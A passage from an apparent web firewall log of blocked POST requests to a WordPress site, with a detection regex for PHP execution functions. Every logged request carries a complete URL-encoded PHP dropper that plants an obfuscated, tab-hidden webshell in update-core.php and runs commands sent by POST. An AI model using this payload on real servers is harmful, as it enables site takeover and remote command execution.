2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:51","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:5255\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-mode:navigate\naccept:*\/*\n\nBs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:53","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Kj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5255\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF2bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nKj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:55","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google 